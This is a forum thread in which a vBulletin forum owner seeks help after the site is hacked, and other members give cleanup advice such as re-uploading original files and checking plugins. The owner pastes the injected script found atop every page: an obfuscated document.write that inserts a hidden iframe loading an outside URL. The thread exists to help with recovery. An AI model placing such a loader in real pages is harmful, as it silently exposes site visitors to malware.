hacked! - index not working

[onealien]

can anyone who knows how to look at access logs please help?

i cant access my admincp index.php file...or modcp index.php file...
i can get to other areas only because i can see them on the server...

someone said smth about a script attached to vbshout? dont kno...ive disables vbshout...

basically am asking for help in 2 things..
1) look at access log and help trouble shoot where it came in at...
2) give me the link in admincp where u reload your backed up database...or instructions on how to do that...

have not gotten a lot of response on here...so hope someone can help with this...

thanks...

[BirdOPrey5]

There have been a number if sites hacked lately due to an exploit in a popular mod.

You should read this thread on vBulletin.com for more info on how this may have happened AND how to fix it. It is a long thread but I suspect all the answers you need are in it.

[onealien]

thanks mayne....im on it....

--------------- Added [DATE]1305648444[/DATE] at [TIME]1305648444[/TIME] ---------------

ok...well the index is now working somehow...thank goodness

i've found a malicious script running at the top of every forum page:

<script>
<!--
document.write(unescape("%3Ciframe%20width%3D1%20h eight%3D1%20border%3D0%20frameborder%3D0%20src%3D% 27http%3A//tigua.in/info/in.cgi%3F5%27%3E%3C/iframe%3E"));
//-->
</script>

any ideas on how to get rid of this?

its not on any of the templates that i searched thru in admincp...

does it have to be some type of file on the server?

@birdoprey5

[BirdOPrey5]

You should re-upload all the original vbulletin files, overwriting your existing files to make sure the php files themselves are clean.

Code can either be inserted via the templates or the php files directly.

In Admin CP you should also run the "Suspect Files Check"to see if any files aren't supposed to be there.

[TheLastSuperman]

Check your plugins as well, I often find oddly named or "named to fool you into overlooking" plugins that can hinder your site from working properly so something else for everyone to check.

[Boofo]

A better way would be to disable them all and add them back one by one to find the culprit.